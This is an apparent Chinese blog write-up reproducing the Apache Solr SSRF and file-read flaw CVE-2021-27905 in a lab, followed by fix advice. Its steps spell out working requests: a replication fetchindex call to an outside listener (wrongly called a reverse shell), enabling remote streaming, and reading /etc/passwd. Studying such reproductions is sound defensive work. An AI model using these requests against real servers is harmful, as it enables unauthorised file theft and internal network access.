Apache Solr 服务端请求伪造(CVE-2021-27905)

漏洞描述:

Apache Solr是美国阿帕奇(Apache)基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器,使用Java语言开发,主要基于http和Apache Lucene实现的,该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。

Apache Solr 8.8.2之前版本存在安全漏洞,在ApacheSolr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

复现过程:

1.访问http://ip:port/solr,出现如下页面,开始实验

2.点击左侧Core Admin,创建一个core

3.若显示报错,则进入容器复制/opt/solr-8.2.0/server/solr/configsets/_default/conf到/var/solr/data/new_core/

4.进入容器

docker exec -it 容器id /bin/bash

5.复制/opt/solr-8.2.0/server/solr/configsets/_default/conf到/var/solr/data/new_core/

cp -r /opt/solr-8.2.0/server/solr/configsets/_default/conf /var/solr/data/new_core/

6.再次点击Add Core即可创建成功

7.构造恶意payload,成功获取到了数据库名字

http://ip:port/solr/admin/cores?indexInfo=false&wt=json

8.本地监听

9.反弹shell

http://ip:port/solr/new_core/replication?command=fetchindex&masterUrl=http://ip:port

10.监听成功

11.通过Solr提供的API可以开启远程开启文件流读取

curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.0.253:32776/solr/new_core/config -H 'Content-type:application/json'

12.读取/etc/passwd

curl "http://192.168.0.253:32778/solr/new_core/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"

借此漏洞,可以访问攻击者想要的敏感数据,包括配置文件、日志、源代码等信息,更加方便攻击者对网站进行渗透。

修复建议:

  1. Solr升级到8.8.2及以上的版本。
  2. 打上 [SOLR-15217] use shardsWhitelist in ReplicationHandler - ASF JIRA中的补丁。
  3. 限制请求协议和用户提交的url,应用防火墙对其进行检测 。
  • 8
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值